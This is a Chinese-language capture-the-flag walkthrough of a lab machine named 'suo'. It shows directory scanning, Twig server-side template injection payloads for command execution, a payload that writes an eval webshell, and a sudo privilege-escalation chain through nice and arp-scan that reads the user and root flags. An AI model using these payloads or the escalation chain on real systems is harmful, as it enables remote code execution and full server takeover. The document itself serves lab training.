

temp

suo

[Open: Pasted image 20260314213240.png](#)

```
[21:19:05] 403 - 317B - /.httr-oauth
[21:19:14] 301 - 354B - /cache -> http://192.168.99.100/cache/
[21:19:14] 200 - 322B - /cache/
[21:19:14] 200 - 820B - /cgi-bin/printenv
[21:19:14] 200 - 1KB - /cgi-bin/test-cgi
[21:19:15] 200 - 11KB - /composer.lock
[21:19:15] 200 - 323B - /composer.json
[21:19:28] 403 - 317B - /server-status
[21:19:28] 403 - 317B - /server-status/
[21:19:29] 301 - 352B - /src -> http://192.168.99.100/src/
[21:19:29] 200 - 318B - /src/
[21:19:31] 301 - 358B - /templates -> http://192.168.99.100/templates/
[21:19:31] 200 - 454B - /templates/
[21:19:33] 200 - 496B - /vendor/
[21:19:33] 200 - 0B - /vendor/autoload.php
[21:19:33] 200 - 0B - /vendor/composer/autoload_files.php
[21:19:33] 200 - 0B - /vendor/composer/autoload_namespaces.php
[21:19:33] 200 - 0B - /vendor/composer/ClassLoader.php
[21:19:33] 200 - 11KB - /vendor/composer/installed.json
[21:19:33] 200 - 1KB - /vendor/composer/LICENSE
[21:19:33] 200 - 0B - /vendor/composer/autoload_classmap.php
[21:19:33] 200 - 0B - /vendor/composer/autoload_real.php
[21:19:33] 200 - 0B - /vendor/composer/autoload_static.php
[21:19:33] 200 - 0B - /vendor/composer/autoload_psr4.php
```

Task Completed

dirsearch开扫

[Open: Pasted image 20260314213322.png](#)

← → ↻ ⚠ 不安全 192.168.99.100/composer.json

美观输出 ☐

```
{
  "name": "myproject/twig-site",
  "description": "Twig template project",
  "type": "project",
  "require": {
    "php": ">=7.4",
    "twig/twig": "~3.23"
  },
  "autoload": {
    "psr-4": {
      "App\\": "src/"
    }
  },
  "config": {
    "optimize-autoloader": true
  }
}
```

发现是twig模板

[Open: Pasted image 20260314213401.png](#)

Twig 2.x/3.x版本

在较新版本中，`_self` 的作用被限制，但可以利用过滤器如 `map`、`sort` 等实现命令执行。

利用map过滤器执行命令：

```
{{ ["id"]|map("system") }}
```

利用sort过滤器执行命令：

```
{{ ["id", 0]|sort("system") }}
```

写入Webshell：

```
{{ { "<?php
phpinfo();eval($_POST[cmd]);":"/var/www/html/shell.php"}|map("file_put_contents") }}
```

吐字清晰

目标服务器地址

```
{{ ["id"]|map("system") }}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)  
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359  
Array/suo5.jsp
```

目标服务器地址

```
{{ ["sudo -l"]|map("system") }}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://Matching Defaults entries for apache on suo: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for apache: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User apache may run the following commands on suo: (lanyangyang) NOPASSWD: /bin/nice  
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359  
Array/suo5.jsp
```

Open: Pasted image 20260314213546.png

GENERATED COMMAND

复制

```
./suo5 -t http://flag(user-da4e2b9944cf4d0389a894c8d718444f)

Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

✔ 高性能传输

✔ 全双工模式

✔ 负载均衡支持

© 2026 MazeSec. 仅供开发测试使用

元素 控制台 源代码/来源 网络 性能 内存 应用 隐私与安全 Lighthouse HackBar

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF SSTI SHELL ENCODING HASHING CUSTOM

JRL

http://192.168.99.100/

Use POST method

enctype

application/x-www-form-urlencoded

MODIFY HEADER

Name

Origin

Value

http

Name

Content-Type

Value

app

Body

target={{ ["sudo -u lanyangyang /bin/nice /bin/sh -c 'cat /home/lanyangyang/user.txt'|map("system")]}}

Open: Pasted image 20260314221345.png

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://Matching Defaults entries for lanyangyang on suo: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for lanyangyang: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User lanyangyang may run the following commands on suo: (ALL) NOPASSWD: /usr/bin/arp-scan

Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF SSTI SHELL ENCODING HASHING CUSTOM

URL

http://192.168.99.100/

Use POST method

enctype

application/x-www-form-urlencoded

MODIFY HEADER

Name

Origin

Value

Body

target={{ ["sudo -u lanyangyang /bin/nice /bin/sh -c 'sudo -l'|map("system")]}}

Open: Pasted image 20260314221415.png

输入目标服务器IP/地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND复制

```
./suo5 -t http://Interface: eth0, type: EN10MB, MAC: 08:00:27:bd:14:64, IPv4: 192.168.99.100 WARNING: Could not parse oui: flag[root-8438726c502a452d997ba300afac30fe] Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.99.175 5c:b4:7e:78:ed:bc (Unknown) 192.168.99.180 c2:90:26:30:22:4a (Unknown: locally administered) 2 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.860 seconds (137.63 hosts/sec). 2 responded Warning: Array to string conversion in /var/www/html
```

元素 控制台 源代码/资源 网络 性能 内存 应用 隐私与安全 Lighthouse HackBar

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF SSTI SHELL ENCODING HASHING CUSTOM

URL
http://192.168.99.100/

Use POST method

enctype
application/x-www-form-urlencoded

Body
target=%7B%7B%20%5B%22sudo%20-u%20lanyangyang%20%2Fbin%2Fnice%20%2Fbin%2Fsh%20-c%20'sudo%20%2Fusr%2Fbin%2Farp-scan%20-l%20--macfile%3D%2Froot%2Froot.txt%20%3E%261%20'%22%5D%7Cmap(%22system%22)%20%7D%7D

MODIFY HEADER

Name	Value
☒ Origin	http://192.168.99.100/
☒ Content-Type	application/x-www-form-urlencoded
☒ Upgrade-Insecure-Requests	1
Name	Value